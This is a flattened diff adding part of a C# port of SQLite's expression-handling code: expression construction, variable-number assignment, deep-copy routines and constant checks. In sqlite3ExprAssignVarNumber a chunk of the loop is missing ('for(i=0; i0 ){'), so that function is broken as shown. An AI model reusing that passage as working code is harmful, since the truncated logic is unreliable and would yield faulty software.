sqlite3PExpr( pParse, op, pLeft, pRight, null ); + } + static Expr sqlite3PExpr( + Parse pParse, /* Parsing context */ + int op, /* Expression opcode */ + Expr pLeft, /* Left operand */ + Expr pRight, /* Right operand */ + Token pToken /* Argument Token */ + ) + { + Expr p = sqlite3ExprAlloc( pParse.db, op, pToken, 1 ); + sqlite3ExprAttachSubtrees( pParse.db, p, pLeft, pRight ); + if ( p != null ) + { + sqlite3ExprCheckHeight( pParse, p.nHeight ); + } + return p; + } + + /* + ** Join two expressions using an AND operator. If either expression is + ** NULL, then just return the other expression. + */ + static Expr sqlite3ExprAnd( sqlite3 db, Expr pLeft, Expr pRight ) + { + if ( pLeft == null ) + { + return pRight; + } + else if ( pRight == null ) + { + return pLeft; + } + else + { + Expr pNew = sqlite3ExprAlloc( db, TK_AND, null, 0 ); + sqlite3ExprAttachSubtrees( db, pNew, pLeft, pRight ); + return pNew; + } + } + + /* + ** Construct a new expression node for a function with multiple + ** arguments. + */ + // OVERLOADS, so I don't need to rewrite parse.c + static Expr sqlite3ExprFunction( Parse pParse, int null_2, Token pToken ) + { + return sqlite3ExprFunction( pParse, null, pToken ); + } + static Expr sqlite3ExprFunction( Parse pParse, ExprList pList, int null_3 ) + { + return sqlite3ExprFunction( pParse, pList, null ); + } + static Expr sqlite3ExprFunction( Parse pParse, ExprList pList, Token pToken ) + { + Expr pNew; + sqlite3 db = pParse.db; + Debug.Assert( pToken != null ); + pNew = sqlite3ExprAlloc( db, TK_FUNCTION, pToken, 1 ); + if ( pNew == null ) + { + sqlite3ExprListDelete( db, ref pList ); /* Avoid memory leak when malloc fails */ + return null; + } + pNew.x.pList = pList; + Debug.Assert( !ExprHasProperty( pNew, EP_xIsSelect ) ); + + sqlite3ExprSetHeight( pParse, pNew ); + return pNew; + } + + /* + ** Assign a variable number to an expression that encodes a wildcard + ** in the original SQL statement. + ** + ** Wildcards consisting of a single "?" are assigned the next sequential + ** variable number. + ** + ** Wildcards of the form "?nnn" are assigned the number "nnn". We make + ** sure "nnn" is not too be to avoid a denial of service attack when + ** the SQL statement comes from an external source. + ** + ** Wildcards of the form ":aaa", "@aaa" or "$aaa" are assigned the same number + ** as the previous instance of the same wildcard. Or if this is the first + ** instance of the wildcard, the next sequenial variable number is + ** assigned. + */ + static void sqlite3ExprAssignVarNumber( Parse pParse, Expr pExpr ) + { + sqlite3 db = pParse.db; + string z; + + if ( pExpr == null ) + return; + Debug.Assert( !ExprHasAnyProperty( pExpr, EP_IntValue | EP_Reduced | EP_TokenOnly ) ); + z = pExpr.u.zToken; + Debug.Assert( z != null ); + Debug.Assert( z.Length != 0 ); + if ( z.Length == 1 ) + { + /* Wildcard of the form "?". Assign the next variable number */ + Debug.Assert( z[0] == '?' ); + pExpr.iColumn = (ynVar)( ++pParse.nVar ); + }else{ + ynVar x = 0; + int n = sqlite3Strlen30(z); + if( z[0]=='?' ){ + /* Wildcard of the form "?nnn". Convert "nnn" to an integer and + ** use it as the variable number */ + i64 i = 0; + bool bOk = 0 == sqlite3Atoi64( z.Substring( 1 ), ref i, n - 1, SQLITE_UTF8 ); + pExpr.iColumn = x=(ynVar)i; + testcase( i == 0 ); + testcase( i == 1 ); + testcase( i == db.aLimit[SQLITE_LIMIT_VARIABLE_NUMBER] - 1 ); + testcase( i == db.aLimit[SQLITE_LIMIT_VARIABLE_NUMBER] ); + if ( bOk == false || i < 1 || i > db.aLimit[SQLITE_LIMIT_VARIABLE_NUMBER] ) + { + sqlite3ErrorMsg( pParse, "variable number must be between ?1 and ?%d", + db.aLimit[SQLITE_LIMIT_VARIABLE_NUMBER] ); + x=0; + } + if ( i > pParse.nVar ) + { + pParse.nVar = (int)i; + } + } + else + { + /* Wildcards like ":aaa", "$aaa" or "@aaa". Reuse the same variable + ** number as the prior appearance of the same name, or if the name + ** has never appeared before, reuse the same variable number + */ + ynVar i; + for(i=0; i0 ){ + if( x>pParse.nzVar ){ + //char **a; + //a = sqlite3DbRealloc(db, pParse.azVar, x*sizeof(a[0])); + //if( a==0 ) return; /* Error reported through db.mallocFailed */ + //pParse.azVar = a; + //memset(&a[pParse.nzVar], 0, (x-pParse.nzVar)*sizeof(a[0])); + Array.Resize( ref pParse.azVar, x ); + pParse.nzVar = x; + } + if( z[0]!='?' || pParse.azVar[x-1]==null ) + { + //sqlite3DbFree(db, pParse.azVar[x-1]); + pParse.azVar[x - 1] = z.Substring( 0, n );//sqlite3DbStrNDup( db, z, n ); + } + } + } + if ( pParse.nErr == 0 && pParse.nVar > db.aLimit[SQLITE_LIMIT_VARIABLE_NUMBER] ) + { + sqlite3ErrorMsg( pParse, "too many SQL variables" ); + } + } + + /* + ** Recursively delete an expression tree. + */ + static void sqlite3ExprDelete( sqlite3 db, ref Expr p ) + { + if ( p == null ) + return; + /* Sanity check: Assert that the IntValue is non-negative if it exists */ + Debug.Assert( !ExprHasProperty( p, EP_IntValue ) || p.u.iValue >= 0 ); + if ( !ExprHasAnyProperty( p, EP_TokenOnly ) ) + { + sqlite3ExprDelete( db, ref p.pLeft ); + sqlite3ExprDelete( db, ref p.pRight ); + if ( !ExprHasProperty( p, EP_Reduced ) && ( p.flags2 & EP2_MallocedToken ) != 0 ) + { +#if DEBUG_CLASS_EXPR || DEBUG_CLASS_ALL +sqlite3DbFree( db, ref p.u._zToken ); +#else + sqlite3DbFree( db, ref p.u.zToken ); +#endif + } + if ( ExprHasProperty( p, EP_xIsSelect ) ) + { + sqlite3SelectDelete( db, ref p.x.pSelect ); + } + else + { + sqlite3ExprListDelete( db, ref p.x.pList ); + } + } + if ( !ExprHasProperty( p, EP_Static ) ) + { + sqlite3DbFree( db, ref p ); + } + } + + /* + ** Return the number of bytes allocated for the expression structure + ** passed as the first argument. This is always one of EXPR_FULLSIZE, + ** EXPR_REDUCEDSIZE or EXPR_TOKENONLYSIZE. + */ + static int exprStructSize( Expr p ) + { + if ( ExprHasProperty( p, EP_TokenOnly ) ) + return EXPR_TOKENONLYSIZE; + if ( ExprHasProperty( p, EP_Reduced ) ) + return EXPR_REDUCEDSIZE; + return EXPR_FULLSIZE; + } + + /* + ** The dupedExpr*Size() routines each return the number of bytes required + ** to store a copy of an expression or expression tree. They differ in + ** how much of the tree is measured. + ** + ** dupedExprStructSize() Size of only the Expr structure + ** dupedExprNodeSize() Size of Expr + space for token + ** dupedExprSize() Expr + token + subtree components + ** + *************************************************************************** + ** + ** The dupedExprStructSize() function returns two values OR-ed together: + ** (1) the space required for a copy of the Expr structure only and + ** (2) the EP_xxx flags that indicate what the structure size should be. + ** The return values is always one of: + ** + ** EXPR_FULLSIZE + ** EXPR_REDUCEDSIZE | EP_Reduced + ** EXPR_TOKENONLYSIZE | EP_TokenOnly + ** + ** The size of the structure can be found by masking the return value + ** of this routine with 0xfff. The flags can be found by masking the + ** return value with EP_Reduced|EP_TokenOnly. + ** + ** Note that with flags==EXPRDUP_REDUCE, this routines works on full-size + ** (unreduced) Expr objects as they or originally constructed by the parser. + ** During expression analysis, extra information is computed and moved into + ** later parts of teh Expr object and that extra information might get chopped + ** off if the expression is reduced. Note also that it does not work to + ** make a EXPRDUP_REDUCE copy of a reduced expression. It is only legal + ** to reduce a pristine expression tree from the parser. The implementation + ** of dupedExprStructSize() contain multiple Debug.Assert() statements that attempt + ** to enforce this constraint. + */ + static int dupedExprStructSize( Expr p, int flags ) + { + int nSize; + Debug.Assert( flags == EXPRDUP_REDUCE || flags == 0 ); /* Only one flag value allowed */ + if ( 0 == ( flags & EXPRDUP_REDUCE ) ) + { + nSize = EXPR_FULLSIZE; + } + else + { + Debug.Assert( !ExprHasAnyProperty( p, EP_TokenOnly | EP_Reduced ) ); + Debug.Assert( !ExprHasProperty( p, EP_FromJoin ) ); + Debug.Assert( ( p.flags2 & EP2_MallocedToken ) == 0 ); + Debug.Assert( ( p.flags2 & EP2_Irreducible ) == 0 ); + if ( p.pLeft != null || p.pRight != null || p.pColl != null || p.x.pList != null || p.x.pSelect != null ) + { + nSize = EXPR_REDUCEDSIZE | EP_Reduced; + } + else + { + nSize = EXPR_TOKENONLYSIZE | EP_TokenOnly; + } + } + return nSize; + } + + /* + ** This function returns the space in bytes required to store the copy + ** of the Expr structure and a copy of the Expr.u.zToken string (if that + ** string is defined.) + */ + static int dupedExprNodeSize( Expr p, int flags ) + { + int nByte = dupedExprStructSize( p, flags ) & 0xfff; + if ( !ExprHasProperty( p, EP_IntValue ) && p.u.zToken != null ) + { + nByte += sqlite3Strlen30( p.u.zToken ) + 1; + } + return ROUND8( nByte ); + } + + /* + ** Return the number of bytes required to create a duplicate of the + ** expression passed as the first argument. The second argument is a + ** mask containing EXPRDUP_XXX flags. + ** + ** The value returned includes space to create a copy of the Expr struct + ** itself and the buffer referred to by Expr.u.zToken, if any. + ** + ** If the EXPRDUP_REDUCE flag is set, then the return value includes + ** space to duplicate all Expr nodes in the tree formed by Expr.pLeft + ** and Expr.pRight variables (but not for any structures pointed to or + ** descended from the Expr.x.pList or Expr.x.pSelect variables). + */ + static int dupedExprSize( Expr p, int flags ) + { + int nByte = 0; + if ( p != null ) + { + nByte = dupedExprNodeSize( p, flags ); + if ( ( flags & EXPRDUP_REDUCE ) != 0 ) + { + nByte += dupedExprSize( p.pLeft, flags ) + dupedExprSize( p.pRight, flags ); + } + } + return nByte; + } + + /* + ** This function is similar to sqlite3ExprDup(), except that if pzBuffer + ** is not NULL then *pzBuffer is assumed to point to a buffer large enough + ** to store the copy of expression p, the copies of p->u.zToken + ** (if applicable), and the copies of the p->pLeft and p->pRight expressions, + ** if any. Before returning, *pzBuffer is set to the first byte passed the + ** portion of the buffer copied into by this function. + */ + static Expr exprDup( sqlite3 db, Expr p, int flags, ref Expr pzBuffer ) + { + Expr pNew = null; /* Value to return */ + if ( p != null ) + { + bool isReduced = ( flags & EXPRDUP_REDUCE ) != 0; + Expr zAlloc = new Expr(); + u32 staticFlag = 0; + + Debug.Assert( pzBuffer == null || isReduced ); + + /* Figure out where to write the new Expr structure. */ + //if ( pzBuffer !=null) + //{ + // zAlloc = pzBuffer; + // staticFlag = EP_Static; + //} + //else + //{ + ///Expr zAlloc = new Expr();//sqlite3DbMallocRaw( db, dupedExprSize( p, flags ) ); + //} + // (Expr)zAlloc; + + //if ( pNew != null ) + { + /* Set nNewSize to the size allocated for the structure pointed to + ** by pNew. This is either EXPR_FULLSIZE, EXPR_REDUCEDSIZE or + ** EXPR_TOKENONLYSIZE. nToken is set to the number of bytes consumed + ** by the copy of the p->u.zToken string (if any). + */ + int nStructSize = dupedExprStructSize( p, flags ); + int nNewSize = nStructSize & 0xfff; + int nToken; + if ( !ExprHasProperty( p, EP_IntValue ) && !String.IsNullOrEmpty( p.u.zToken ) ) + { + nToken = sqlite3Strlen30( p.u.zToken ); + } + else + { + nToken = 0; + } + if ( isReduced ) + { + Debug.Assert( !ExprHasProperty( p, EP_Reduced ) ); + pNew = p.Copy( EXPR_TOKENONLYSIZE );//memcpy( zAlloc, p, nNewSize ); + } + else + { + int nSize = exprStructSize( p ); + //memcpy( zAlloc, p, nSize ); + pNew = p.Copy(); + //memset( &zAlloc[nSize], 0, EXPR_FULLSIZE - nSize ); + } + + /* Set the EP_Reduced, EP_TokenOnly, and EP_Static flags appropriately. */ + unchecked + { + pNew.flags &= (ushort)( ~( EP_Reduced | EP_TokenOnly | EP_Static ) ); + } + pNew.flags |= (ushort)( nStructSize & ( EP_Reduced | EP_TokenOnly ) ); + pNew.flags |= (ushort)staticFlag; + + /* Copy the p->u.zToken string, if any. */ + if ( nToken != 0 ) + { + string zToken;// = pNew.u.zToken = (char)&zAlloc[nNewSize]; + zToken = p.u.zToken.Substring( 0, nToken );// memcpy( zToken, p.u.zToken, nToken ); + } + + if ( 0 == ( ( p.flags | pNew.flags ) & EP_TokenOnly ) ) + { + /* Fill in the pNew.x.pSelect or pNew.x.pList member. */ + if ( ExprHasProperty( p, EP_xIsSelect ) ) + { + pNew.x.pSelect = sqlite3SelectDup( db, p.x.pSelect, isReduced ? 1 : 0 ); + } + else + { + pNew.x.pList = sqlite3ExprListDup( db, p.x.pList, isReduced ? 1 : 0 ); + } + } + + /* Fill in pNew.pLeft and pNew.pRight. */ + if ( ExprHasAnyProperty( pNew, EP_Reduced | EP_TokenOnly ) ) + { + //zAlloc += dupedExprNodeSize( p, flags ); + if ( ExprHasProperty( pNew, EP_Reduced ) ) + { + pNew.pLeft = exprDup( db, p.pLeft, EXPRDUP_REDUCE, ref pzBuffer ); + pNew.pRight = exprDup( db, p.pRight, EXPRDUP_REDUCE, ref pzBuffer ); + } + //if ( pzBuffer != null ) + //{ + // pzBuffer = zAlloc; + //} + } + else + { + pNew.flags2 = 0; + if ( !ExprHasAnyProperty( p, EP_TokenOnly ) ) + { + pNew.pLeft = sqlite3ExprDup( db, p.pLeft, 0 ); + pNew.pRight = sqlite3ExprDup( db, p.pRight, 0 ); + } + } + } + } + return pNew; + } + + /* + ** The following group of routines make deep copies of expressions, + ** expression lists, ID lists, and select statements. The copies can + ** be deleted (by being passed to their respective ...Delete() routines) + ** without effecting the originals. + ** + ** The expression list, ID, and source lists return by sqlite3ExprListDup(), + ** sqlite3IdListDup(), and sqlite3SrcListDup() can not be further expanded + ** by subsequent calls to sqlite*ListAppend() routines. + ** + ** Any tables that the SrcList might point to are not duplicated. + ** + ** The flags parameter contains a combination of the EXPRDUP_XXX flags. + ** If the EXPRDUP_REDUCE flag is set, then the structure returned is a + ** truncated version of the usual Expr structure that will be stored as + ** part of the in-memory representation of the database schema. + */ + static Expr sqlite3ExprDup( sqlite3 db, Expr p, int flags ) + { + Expr ExprDummy = null; + return exprDup( db, p, flags, ref ExprDummy ); + } + + static ExprList sqlite3ExprListDup( sqlite3 db, ExprList p, int flags ) + { + ExprList pNew; + ExprList_item pItem; + ExprList_item pOldItem; + int i; + if ( p == null ) + return null; + pNew = new ExprList();//sqlite3DbMallocRaw(db, sizeof(*pNew) ); + //if ( pNew == null ) return null; + pNew.iECursor = 0; + pNew.nExpr = pNew.nAlloc = p.nExpr; + pNew.a = new ExprList_item[p.nExpr];//sqlite3DbMallocRaw(db, p.nExpr*sizeof(p.a[0]) ); + //if( pItem==null ){ + // sqlite3DbFree(db,ref pNew); + // return null; + //} + //pOldItem = p.a; + for ( i = 0; i < p.nExpr; i++ ) + {//pItem++, pOldItem++){ + pItem = pNew.a[i] = new ExprList_item(); + pOldItem = p.a[i]; + Expr pOldExpr = pOldItem.pExpr; + pItem.pExpr = sqlite3ExprDup( db, pOldExpr, flags ); + pItem.zName = pOldItem.zName;// sqlite3DbStrDup(db, pOldItem.zName); + pItem.zSpan = pOldItem.zSpan;// sqlite3DbStrDup( db, pOldItem.zSpan ); + pItem.sortOrder = pOldItem.sortOrder; + pItem.done = 0; + pItem.iCol = pOldItem.iCol; + pItem.iAlias = pOldItem.iAlias; + } + return pNew; + } + + /* + ** If cursors, triggers, views and subqueries are all omitted from + ** the build, then none of the following routines, except for + ** sqlite3SelectDup(), can be called. sqlite3SelectDup() is sometimes + ** called with a NULL argument. + */ +#if !SQLITE_OMIT_VIEW || !SQLITE_OMIT_TRIGGER || !SQLITE_OMIT_SUBQUERY + static SrcList sqlite3SrcListDup( sqlite3 db, SrcList p, int flags ) + { + SrcList pNew; + int i; + int nByte; + if ( p == null ) + return null; + //nByte = sizeof(*p) + (p.nSrc>0 ? sizeof(p.a[0]) * (p.nSrc-1) : 0); + pNew = new SrcList();//sqlite3DbMallocRaw(db, nByte ); + if ( p.nSrc > 0 ) + pNew.a = new SrcList_item[p.nSrc]; + if ( pNew == null ) + return null; + pNew.nSrc = pNew.nAlloc = p.nSrc; + for ( i = 0; i < p.nSrc; i++ ) + { + pNew.a[i] = new SrcList_item(); + SrcList_item pNewItem = pNew.a[i]; + SrcList_item pOldItem = p.a[i]; + Table pTab; + pNewItem.zDatabase = pOldItem.zDatabase;// sqlite3DbStrDup(db, pOldItem.zDatabase); + pNewItem.zName = pOldItem.zName;// sqlite3DbStrDup(db, pOldItem.zName); + pNewItem.zAlias = pOldItem.zAlias;// sqlite3DbStrDup(db, pOldItem.zAlias); + pNewItem.jointype = pOldItem.jointype; + pNewItem.iCursor = pOldItem.iCursor; + pNewItem.isPopulated = pOldItem.isPopulated; + pNewItem.zIndex = pOldItem.zIndex;// sqlite3DbStrDup( db, pOldItem.zIndex ); + pNewItem.notIndexed = pOldItem.notIndexed; + pNewItem.pIndex = pOldItem.pIndex; + pTab = pNewItem.pTab = pOldItem.pTab; + if ( pTab != null ) + { + pTab.nRef++; + } + pNewItem.pSelect = sqlite3SelectDup( db, pOldItem.pSelect, flags ); + pNewItem.pOn = sqlite3ExprDup( db, pOldItem.pOn, flags ); + pNewItem.pUsing = sqlite3IdListDup( db, pOldItem.pUsing ); + pNewItem.colUsed = pOldItem.colUsed; + } + return pNew; + } + + static IdList sqlite3IdListDup( sqlite3 db, IdList p ) + { + IdList pNew; + int i; + if ( p == null ) + return null; + pNew = new IdList();//sqlite3DbMallocRaw(db, sizeof(*pNew) ); + if ( pNew == null ) + return null; + pNew.nId = pNew.nAlloc = p.nId; + pNew.a = new IdList_item[p.nId];//sqlite3DbMallocRaw(db, p.nId*sizeof(p.a[0]) ); + if ( pNew.a == null ) + { + sqlite3DbFree( db, ref pNew ); + return null; + } + for ( i = 0; i < p.nId; i++ ) + { + pNew.a[i] = new IdList_item(); + IdList_item pNewItem = pNew.a[i]; + IdList_item pOldItem = p.a[i]; + pNewItem.zName = pOldItem.zName;// sqlite3DbStrDup(db, pOldItem.zName); + pNewItem.idx = pOldItem.idx; + } + return pNew; + } + + static Select sqlite3SelectDup( sqlite3 db, Select p, int flags ) + { + Select pNew; + if ( p == null ) + return null; + pNew = new Select();//sqlite3DbMallocRaw(db, sizeof(*p) ); + //if ( pNew == null ) return null; + pNew.pEList = sqlite3ExprListDup( db, p.pEList, flags ); + pNew.pSrc = sqlite3SrcListDup( db, p.pSrc, flags ); + pNew.pWhere = sqlite3ExprDup( db, p.pWhere, flags ); + pNew.pGroupBy = sqlite3ExprListDup( db, p.pGroupBy, flags ); + pNew.pHaving = sqlite3ExprDup( db, p.pHaving, flags ); + pNew.pOrderBy = sqlite3ExprListDup( db, p.pOrderBy, flags ); + pNew.op = p.op; + pNew.pPrior = sqlite3SelectDup( db, p.pPrior, flags ); + pNew.pLimit = sqlite3ExprDup( db, p.pLimit, flags ); + pNew.pOffset = sqlite3ExprDup( db, p.pOffset, flags ); + pNew.iLimit = 0; + pNew.iOffset = 0; + pNew.selFlags = (u16)( p.selFlags & ~SF_UsesEphemeral ); + pNew.pRightmost = null; + pNew.addrOpenEphm[0] = -1; + pNew.addrOpenEphm[1] = -1; + pNew.addrOpenEphm[2] = -1; + return pNew; + } +#else +Select sqlite3SelectDup(sqlite3 db, Select p, int flags){ +Debug.Assert( p==null ); +return null; +} +#endif + + + /* +** Add a new element to the end of an expression list. If pList is +** initially NULL, then create a new expression list. +** +** If a memory allocation error occurs, the entire list is freed and +** NULL is returned. If non-NULL is returned, then it is guaranteed +** that the new entry was successfully appended. +*/ + // OVERLOADS, so I don't need to rewrite parse.c + static ExprList sqlite3ExprListAppend( Parse pParse, int null_2, Expr pExpr ) + { + return sqlite3ExprListAppend( pParse, null, pExpr ); + } + static ExprList sqlite3ExprListAppend( + Parse pParse, /* Parsing context */ + ExprList pList, /* List to which to append. Might be NULL */ + Expr pExpr /* Expression to be appended. Might be NULL */ + ) + { + sqlite3 db = pParse.db; + if ( pList == null ) + { + pList = new ExprList(); //sqlite3DbMallocZero(db, ExprList).Length; + //if ( pList == null ) + //{ + // goto no_mem; + //} + Debug.Assert( pList.nAlloc == 0 ); + } + if ( pList.nAlloc <= pList.nExpr ) + { + ExprList_item a; + int n = pList.nAlloc * 2 + 4; + //a = sqlite3DbRealloc(db, pList.a, n*sizeof(pList.a[0])); + //if( a==0 ){ + // goto no_mem; + //} + Array.Resize( ref pList.a, n );// = a; + pList.nAlloc = pList.a.Length;// sqlite3DbMallocSize(db, a)/sizeof(a[0]); + } + Debug.Assert( pList.a != null ); + if ( true ) + { + pList.a[pList.nExpr] = new ExprList_item(); + //ExprList_item pItem = pList.a[pList.nExpr++]; + //pItem = new ExprList_item();//memset(pItem, 0, sizeof(*pItem)); + //pItem.pExpr = pExpr; + pList.a[pList.nExpr++].pExpr = pExpr; + } + return pList; + + //no_mem: + // /* Avoid leaking memory if malloc has failed. */ + // sqlite3ExprDelete( db, ref pExpr ); + // sqlite3ExprListDelete( db, ref pList ); + // return null; + } + + /* + ** Set the ExprList.a[].zName element of the most recently added item + ** on the expression list. + ** + ** pList might be NULL following an OOM error. But pName should never be + ** NULL. If a memory allocation fails, the pParse.db.mallocFailed flag + ** is set. + */ + static void sqlite3ExprListSetName( + Parse pParse, /* Parsing context */ + ExprList pList, /* List to which to add the span. */ + Token pName, /* Name to be added */ + int dequote /* True to cause the name to be dequoted */ + ) + { + Debug.Assert( pList != null /* || pParse.db.mallocFailed != 0 */ ); + if ( pList != null ) + { + ExprList_item pItem; + Debug.Assert( pList.nExpr > 0 ); + pItem = pList.a[pList.nExpr - 1]; + Debug.Assert( pItem.zName == null ); + pItem.zName = pName.z.Substring( 0, pName.n );//sqlite3DbStrNDup(pParse.db, pName.z, pName.n); + if ( dequote != 0 && !String.IsNullOrEmpty( pItem.zName ) ) + sqlite3Dequote( ref pItem.zName ); + } + } + + /* + ** Set the ExprList.a[].zSpan element of the most recently added item + ** on the expression list. + ** + ** pList might be NULL following an OOM error. But pSpan should never be + ** NULL. If a memory allocation fails, the pParse.db.mallocFailed flag + ** is set. + */ + static void sqlite3ExprListSetSpan( + Parse pParse, /* Parsing context */ + ExprList pList, /* List to which to add the span. */ + ExprSpan pSpan /* The span to be added */ + ) + { + sqlite3 db = pParse.db; + Debug.Assert( pList != null /*|| db.mallocFailed != 0 */ ); + if ( pList != null ) + { + ExprList_item pItem = pList.a[pList.nExpr - 1]; + Debug.Assert( pList.nExpr > 0 ); + Debug.Assert( /* db.mallocFailed != 0 || */ pItem.pExpr == pSpan.pExpr ); + sqlite3DbFree( db, ref pItem.zSpan ); + pItem.zSpan = pSpan.zStart.Substring( 0, pSpan.zStart.Length <= pSpan.zEnd.Length ? pSpan.zStart.Length : pSpan.zStart.Length - pSpan.zEnd.Length );// sqlite3DbStrNDup( db, pSpan.zStart, + //(int)( pSpan.zEnd- pSpan.zStart) ); + } + } + + /* + ** If the expression list pEList contains more than iLimit elements, + ** leave an error message in pParse. + */ + static void sqlite3ExprListCheckLength( + Parse pParse, + ExprList pEList, + string zObject + ) + { + int mx = pParse.db.aLimit[SQLITE_LIMIT_COLUMN]; + testcase( pEList != null && pEList.nExpr == mx ); + testcase( pEList != null && pEList.nExpr == mx + 1 ); + if ( pEList != null && pEList.nExpr > mx ) + { + sqlite3ErrorMsg( pParse, "too many columns in %s", zObject ); + } + } + + + /* + ** Delete an entire expression list. + */ + static void sqlite3ExprListDelete( sqlite3 db, ref ExprList pList ) + { + int i; + ExprList_item pItem; + if ( pList == null ) + return; + Debug.Assert( pList.a != null || ( pList.nExpr == 0 && pList.nAlloc == 0 ) ); + Debug.Assert( pList.nExpr <= pList.nAlloc ); + for ( i = 0; i < pList.nExpr; i++ ) + { + if ( ( pItem = pList.a[i] ) != null ) + { + sqlite3ExprDelete( db, ref pItem.pExpr ); + sqlite3DbFree( db, ref pItem.zName ); + sqlite3DbFree( db, ref pItem.zSpan ); + } + } + sqlite3DbFree( db, ref pList.a ); + sqlite3DbFree( db, ref pList ); + } + + /* + ** These routines are Walker callbacks. Walker.u.pi is a pointer + ** to an integer. These routines are checking an expression to see + ** if it is a constant. Set *Walker.u.pi to 0 if the expression is + ** not constant. + ** + ** These callback routines are used to implement the following: + ** + ** sqlite3ExprIsConstant() + ** sqlite3ExprIsConstantNotJoin() + ** sqlite3ExprIsConstantOrFunction() + ** + */ + static int exprNodeIsConstant( Walker pWalker, ref Expr pExpr ) + { + /* If pWalker.u.i is 3 then any term of the expression that comes from + ** the ON or USING clauses of a join disqualifies the expression + ** from being considered constant. */ + if ( pWalker.u.i == 3 && ExprHasAnyProperty( pExpr, EP_FromJoin ) ) + { + pWalker.u.i = 0; + return WRC_Abort; + } + + switch ( pExpr.op ) + { + /* Consider functions to be constant if all their arguments are constant + ** and pWalker.u.i==2 */ + case TK_FUNCTION: + if ( ( pWalker.u.i ) == 2 ) + return 0; + goto case TK_ID; + /* Fall through */ + case TK_ID: + case TK_COLUMN: + case TK_AGG_FUNCTION: + case TK_AGG_COLUMN: + testcase( pExpr.op == TK_ID ); + testcase( pExpr.op == TK_COLUMN ); + testcase( pExpr.op == TK_AGG_FUNCTION ); + testcase( pExpr.op == TK_AGG_COLUMN ); + pWalker.u.i = 0; + return WRC_Abort; + default: + testcase( pExpr.op == TK_SELECT ); /* selectNodeIsConstant will disallow */ + testcase( pExpr.op == TK_EXISTS ); /* selectNodeIsConstant will disallow */ + return WRC_Continue; + } + } + + static int selectNodeIsConstant( Walker pWalker, Select NotUsed ) + { + UNUSED_PARAMETER( NotUsed ); + pWalker.u.i = 0; + return WRC_Abort; + } + static int exprIsConst( Expr p, int initFlag ) + { + Walker w = new Walker(); + w.u.i = initFlag; + w.xExprCallback = exprNodeIsConstant; + w.xSelectCallback = selectNodeIsConstant; + sqlite3WalkExpr( w, ref p ); + return w.u.i; + } + + /* + ** Walk an expression tree. Return 1 if the expression is constant + ** and 0 if it involves variables or function calls. + ** + ** For the purposes of this function, a double-quoted string (ex: "abc") + ** is considered a variable but a single-quoted string (ex: 'abc') is + ** a constant. + */ + static int sqlite3ExprIsConstant( Expr p ) + { + return exprIsConst( p, 1 ); + } + + /* + ** Walk an expression tree. Return 1 if the expression is constant + ** that does no originate from the ON or USING clauses of a join. + ** Return 0 if it involves variables or function calls or terms from + ** an ON or USING clause. + */ + static int sqlite3ExprIsConstantNotJoin( Expr p ) + { + return exprIsConst( p, 3 ); + } + + /* + ** Walk an expression tree. Return 1 if the expression is constant + ** or a function call with constant arguments. Return and 0 if there + ** are any variables. + ** + ** For the purposes of this function, a double-quoted string (ex: "abc") + ** is considered a variable but a single-quoted string (ex: 'abc') is + ** a constant. + */ + static int sqlite3ExprIsConstantOrFunction( Expr p ) + { + return exprIsConst( p, 2 ); + } + + /* + ** If the expression p codes a constant integer that is small enough + ** to fit in a 32-bit integer, return 1 and put the value of the integer + ** in pValue. If the expression is not an integer or if it is too big + ** to fit in a signed 32-bit integer, return 0 and leave pValue unchanged. + */ + static int sqlite3ExprIsInteger( Expr p, ref int pValue ) + { + int rc = 0; + + /* If an expression is an integer literal that fits in a signed 32-bit + ** integer, then the EP_IntValue flag will have already been set */ + Debug.Assert( p.op != TK_INTEGER || ( p.flags & EP_IntValue ) != 0 + || !sqlite3GetInt32( p.u.zToken, ref rc ) ); + + if ( ( p.flags & EP_IntValue ) != 0 ) + { + pValue = (int)p.u.iValue; + return 1; + } + switch ( p.op ) + { + case TK_UPLUS: + { + rc = sqlite3ExprIsInteger( p.pLeft, ref pValue ); + break; + } + case TK_UMINUS: + { + int v = 0; + if ( sqlite3ExprIsInteger( p.pLeft, ref v ) != 0 ) + { + pValue = -v; + rc = 1; + } + break; + } + default: + break; + } + return rc; + } + + /* + ** Return FALSE if there is no chance that the expression can be NULL. + ** + ** If the expression might be NULL or if the expression is too complex + ** to tell return TRUE. + ** + ** This routine is used as an optimization, to skip OP_IsNull opcodes + ** when we know that a value cannot be NULL. Hence, a false positive + ** (returning TRUE when in fact the expression can never be NULL) might + ** be a small performance hit but is otherwise harmless. On the other + ** hand, a false negative (returning FALSE when the result could be NULL) + ** will likely result in an incorrect answer. So when in doubt, return + ** TRUE. + */ + static int sqlite3ExprCanBeNull( Expr p ) + { + u8 op; + while ( p.op == TK_UPLUS || p.op == TK_UMINUS ) + { + p = p.pLeft; + } + op = p.op; + if ( op == TK_REGISTER ) + op = p.op2; + switch ( op ) + { + case TK_INTEGER: + case TK_STRING: + case TK_FLOAT: + case TK_BLOB: + return 0; + default: + return 1; + } + } + + /* + ** Generate an OP_IsNull instruction that tests register iReg and jumps + ** to location iDest if the value in iReg is NULL. The value in iReg + ** was computed by pExpr. If we can look at pExpr at compile-time and + ** determine that it can never generate a NULL, then the OP_IsNull operation + ** can be omitted. + */ + static void sqlite3ExprCodeIsNullJump( + Vdbe v, /* The VDBE under construction */ + Expr pExpr, /* Only generate OP_IsNull if this expr can be NULL */ + int iReg, /* Test the value in this register for NULL */ + int iDest /* Jump here if the value is null */ + ) + { + if ( sqlite3ExprCanBeNull( pExpr ) != 0 ) + { + sqlite3VdbeAddOp2( v, OP_IsNull, iReg, iDest ); + } + } + + /* + ** Return TRUE if the given expression is a constant which would be + ** unchanged by OP_Affinity with the affinity given in the second + ** argument. + ** + ** This routine is used to determine if the OP_Affinity operation + ** can be omitted. When in doubt return FALSE. A false negative + ** is harmless. A false positive, however, can result in the wrong + ** answer. + */ + static int sqlite3ExprNeedsNoAffinityChange( Expr p, char aff ) + { + u8 op; + if ( aff == SQLITE_AFF_NONE ) + return 1; + while ( p.op == TK_UPLUS || p.op == TK_UMINUS ) + { + p = p.pLeft; + } + op = p.op; + if ( op == TK_REGISTER ) + op = p.op2; + switch ( op ) + { + case TK_INTEGER: + { + return ( aff == SQLITE_AFF_INTEGER || aff == SQLITE_AFF_NUMERIC ) ? 1 : 0; + } + case TK_FLOAT: + { + return ( aff == SQLITE_AFF_REAL || aff == SQLITE_AFF_NUMERIC ) ? 1 : 0; + } + case TK_STRING: + { + return ( aff == SQLITE_AFF_TEXT ) ? 1 : 0; + } + case TK_BLOB: + { + return 1; + } + case TK_COLUMN: + { + Debug.Assert( p.iTable >= 0 ); /* p cannot be part of a CHECK constraint */ 